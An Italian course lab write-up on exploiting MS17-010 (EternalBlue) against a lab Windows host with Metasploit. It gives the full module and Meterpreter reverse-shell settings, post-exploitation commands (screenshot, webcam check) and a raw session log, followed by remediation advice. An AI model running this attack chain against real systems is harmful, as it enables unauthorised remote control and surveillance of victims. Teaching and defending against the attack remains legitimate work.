

W17D2 - Exploit MS17-010 e Acquisizione Screenshot via Meterpreter

1. Introduzione

L'obiettivo dell'esercitazione è ottenere una sessione Meterpreter sul target Windows vulnerabile a MS17-010 (EternalBlue), sfruttando Metasploit Framework su Kali Linux. Una volta ottenuto l'accesso, si procede con l'acquisizione di uno screenshot e la verifica della presenza di webcam.

2. Preparazione dell'ambiente

2.1 Verifica della connettività tra Kali e Windows

- Utilizzare il comando ping per verificare che la macchina target risponda: ping 192.168.50.103
- Se il ping ha successo, significa che la rete è correttamente configurata.

2.2 Scansione del target con Nmap

Avviamo una scansione sulla porta SMB (445) e raccogliamo informazioni sul sistema operativo. EternalBlue sfrutta SMBv1 su porta 445. Questo comando conferma che la porta è aperta e il servizio è attivo, condizione necessaria per l'exploit EternalBlue. Avremo, quindi: dettagli sul sistema operativo, nome host, dominio, e versione SMB.

Comando: `nmap -p 445 --script=smb-os-discovery 192.168.50.103`

3. Avvio di Metasploit e ricerca dell'exploit

3.1 Avvio di msfconsole

msfconsole

3.2 Ricerca dell'exploit MS17-010

Cerchiamo tutti i moduli exploit relativi alla vulnerabilità MS17-010 e identifichiamo il modulo più adatto, che include l'esecuzione remota.

Comando: `search ms17_010`

Combinando EternalBlue con l'esecuzione remota via SMB avremo la lista di exploit disponibili con descrizione e percorso.

4. Configurazione dell'exploit

4.1 Selezione del modulo

Carichiamo il modulo exploit selezionato. Questo modulo sfrutta EternalBlue e consente l'esecuzione di codice remoto con privilegi SYSTEM. Avremo, dunque, un Prompt aggiornato con il nome del modulo, pronto per la configurazione

Comando: `use exploit/windows/smb/ms17_010_psexec`

4.2 Impostazione dei parametri

Impostiamo l'indirizzo ip sulla quale kali riceverà la connessione, poi la porta e il tipo di payload da inviare. Meterpreter offre funzionalità avanzate come screenshot, webcam, keylogging. Avremo conferma del payload selezionato.

Comandi:

`set RHOSTS 192.168.50.103`

`set LHOST 192.168.50.100`

`set LPORT 4444`

`set PAYLOAD windows/x64/meterpreter/reverse_tcp`

4.3 Esecuzione dell'exploit

Avviamo la sequenza di attacco e tenta di ottenere una sessione Meterpreter.

Comando: `run`

Messaggi successo attesi:

"Successfully Leaked Transaction"

"SYSTEM session obtained"

"Meterpreter session opened"

5. Interazione con la sessione Meterpreter

5.1 Verifica del sistema target

Visualizziamo le informazioni sul sistema operativo del target per confermare il tipo di sistema compromesso e la sua configurazione. Avremo, dunque: Nome OS, architettura, lingua, nome host

Comando: sysinfo

5.2 Visualizzazione dei processi attivi

Elenchiamo i processi attivi sulla macchina target per identificare applicazioni in esecuzione, eventuali antivirus, o processi sospetti. Il risultato sarà: Tabella con PID, nome processo, utente

Comando: ps

6. Verifica della presenza di webcam

6.1 Comando per elencare webcam

Verifichiamo la presenza di webcam collegate al sistema. Se presente, può essere usata per acquisire immagini o video. Il risultato sarà la lista delle webcam disponibili o messaggio "No webcams were found".

Comando: webcam_list

output :No webcams were found

Indica che non sono presenti webcam collegate o riconosciute dal sistema.

7. Considerazioni di remediation (facoltativo)

7.1 Patch ufficiale

La vulnerabilità MS17-010 può essere risolta in modo diretto tramite l'applicazione della patch ufficiale rilasciata da Microsoft: KB4013389. Questa patch corregge il bug nel protocollo SMBv1 che EternalBlue sfrutta per eseguire codice remoto senza autenticazione. Applicare la patch elimina la vulnerabilità.

Per sistemi Windows 7 e successivi, l'installazione della patch è semplice e può essere automatizzata tramite Windows Update o distribuita in rete con strumenti come WSUS. Per

sistemi obsoleti come Windows XP, il processo è più complesso perché Microsoft non fornisce più aggiornamenti ufficiali. In questi casi, si deve ricorrere a mitigazioni alternative (vedi punto 8.2).

7.2 Disabilitazione SMBv1

E' possibile intervenire esclusivamente sulla vulnerabilità disabilitando il protocollo SMBv1, anche senza applicare la patch.

Metodo:

Su Windows 7 e successivi:

Powershell:

```
Set-SmbServerConfiguration -EnableSMB1Protocol $false
```

Per sistemi non aggiornabili (es. Windows XP), disabilitare manualmente il componente SMBv1: `Set-SmbServerConfiguration -EnableSMB1Protocol $false`

Oppure bloccando la porta 445

```
New-NetFirewallRule -DisplayName "Block SMB" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block
```

Limiti:

Disabilitare SMBv1 può causare problemi con software o dispositivi che lo richiedono (es. stampanti di rete vecchie).

Non protegge da altri vettori di attacco se il sistema è comunque obsoleto o mal configurato.

7.3 Limitazione dei privilegi

Possiamo limitare l'accesso e gli spostamenti dell'attaccante una volta penetrato nel sistema attraverso misure di contenimento e monitoraggio per limitare l'impatto post-exploit.

Limitazione dei privilegi utente:

Configurare gli account con privilegi minimi.

Evitare che gli utenti abbiano diritti amministrativi locali.

Segmentazione della rete:

Isolare le macchine vulnerabili in VLAN dedicate.

Limitare la comunicazione tra segmenti di rete.

Monitoraggio e logging:

Attivare audit dei log di accesso e dei processi.

Utilizzare strumenti per tracciare attività sospette.

Firewall e regole di accesso:

Bloccare la porta 445 in entrata e uscita.

Consentire solo traffico SMB da fonti autorizzate.

Controllo dei processi:

Monitorare l'esecuzione di payload anomali.

Impostare regole di sicurezza per impedire l'esecuzione di binari non firmati.

8. Conclusione

L'esercitazione ha dimostrato come una vulnerabilità critica come MS17-010 possa essere sfruttata per ottenere accesso remoto con privilegi elevati su un sistema Windows non aggiornato. L'uso di Metasploit e del modulo ha permesso di stabilire una sessione Meterpreter, confermando la compromissione tramite lo screenshot acquisito. Sebbene non siano state rilevate webcam, il controllo completo del sistema evidenzia l'urgenza di adottare misure di remediation. L'applicazione della patch ufficiale, la disattivazione di SMBv1 e la segmentazione della rete sono interventi fondamentali per prevenire attacchi futuri e limitare i danni in caso di compromissione.

```
[*] Shutting down session: 1
[*] 192.168.50.103 - Meterpreter session 1 closed. Reason: Died
msf exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.103:445 - Target OS: Windows 5.1
[*] 192.168.50.103:445 - Filling barrel with fish... done
[*] 192.168.50.103:445 - <----- | Entering Danger Zone | ----->
[*] 192.168.50.103:445 - [*] Preparing dynamite ...
[*] 192.168.50.103:445 - [*] Trying stick 1 (x86)... Boom!
[*] 192.168.50.103:445 - [+] Successfully Leaked Transaction!
[*] 192.168.50.103:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.50.103:445 - <----- | Leaving Danger Zone | ----->
[*] 192.168.50.103:445 - Reading from CONNECTION struct at: 0x89fd8da8
[*] 192.168.50.103:445 - Built a write-what-where primitive ...
[+] 192.168.50.103:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.50.103:445 - Selecting native target
[*] 192.168.50.103:445 - Uploading payload... HHJjffiB.exe
[*] 192.168.50.103:445 - Created \HHJjffiB.exe ...
[+] 192.168.50.103:445 - Service started successfully ...
[*] 192.168.50.103:445 - Deleting \HHJjffiB.exe ...
[*] Sending stage (177734 bytes) to 192.168.50.103
[*] Meterpreter session 2 opened (192.168.50.100:4444 -> 192.168.50.103:1032) at 2025-11-02 18:49:44 +0100

meterpreter > screenshot
Screenshot saved to: /home/kali/YHMKyBP.jpeg
meterpreter > webcam_list
[-] No webcams were found
```